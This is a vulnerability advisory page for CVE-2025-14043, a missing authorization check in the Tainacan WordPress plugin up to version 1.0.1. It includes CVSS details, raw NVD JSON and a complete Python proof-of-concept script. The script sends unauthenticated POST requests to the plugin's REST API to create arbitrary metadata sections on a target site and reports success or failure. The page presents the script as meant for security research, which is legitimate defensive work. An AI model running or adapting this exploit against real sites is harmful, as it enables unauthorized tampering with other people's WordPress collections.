Security Vulnerability Report
中文
CVE-2025-14043 CVSS 5.3 MEDIUM

CVE-2025-14043

Published: 2025-12-21 03:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Tainacan plugin for WordPress is vulnerable to unauthorized metadata section creation due to missing authorization checks in all versions up to, and including, 1.0.1. This is due to the `create_item_permissions_check()` function unconditionally returning true, which bypasses authentication and authorization validation. This makes it possible for unauthenticated attackers to create arbitrary metadata sections for any collection via the public REST API granted they can access the WordPress site.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tainacan plugin for WordPress <= 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14043 PoC - Unauthenticated Metadata Section Creation # Target: WordPress site with Tainacan plugin <= 1.0.1 import requests import json import sys def create_metadata_section(target_url, collection_id, metadata_name): """ Create arbitrary metadata section without authentication """ endpoint = f"{target_url}/wp-json/tainacan/v2/metadata-sections" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } payload = { 'name': metadata_name, 'description': 'Malicious metadata section created via CVE-2025-14043', 'slug': metadata_name.lower().replace(' ', '-'), 'collection_id': collection_id, 'enabled': True, 'metadata_type': 'text' } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code in [200, 201]: result = response.json() print(f"[+] Success! Metadata section created: {result.get('name', 'N/A')}") print(f"[+] Section ID: {result.get('id', 'N/A')}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): if len(sys.argv) < 4: print("Usage: python cve-2025-14043.py <target_url> <collection_id> <metadata_name>") print("Example: python cve-2025-14043.py http://wordpress-site.com 123 'Malicious Metadata'") sys.exit(1) target_url = sys.argv[1].rstrip('/') collection_id = sys.argv[2] metadata_name = sys.argv[3] print(f"[*] Targeting: {target_url}") print(f"[*] Target Collection ID: {collection_id}") print(f"[*] Creating metadata: {metadata_name}") create_metadata_section(target_url, collection_id, metadata_name) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14043", "sourceIdentifier": "[email protected]", "published": "2025-12-21T03:15:52.153", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Tainacan plugin for WordPress is vulnerable to unauthorized metadata section creation due to missing authorization checks in all versions up to, and including, 1.0.1. This is due to the `create_item_permissions_check()` function unconditionally returning true, which bypasses authentication and authorization validation. This makes it possible for unauthenticated attackers to create arbitrary metadata sections for any collection via the public REST API granted they can access the WordPress site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/tainacan/tags/1.0.1/classes/api/endpoints/class-tainacan-rest-metadata-sections-controller.php#L363", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tainacan/trunk/classes/api/endpoints/class-tainacan-rest-metadata-sections-controller.php#L363", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5596a0f0-6bfe-4c6e-a0d6-117e13117098?source=cve", "source": "[email protected]"}]}}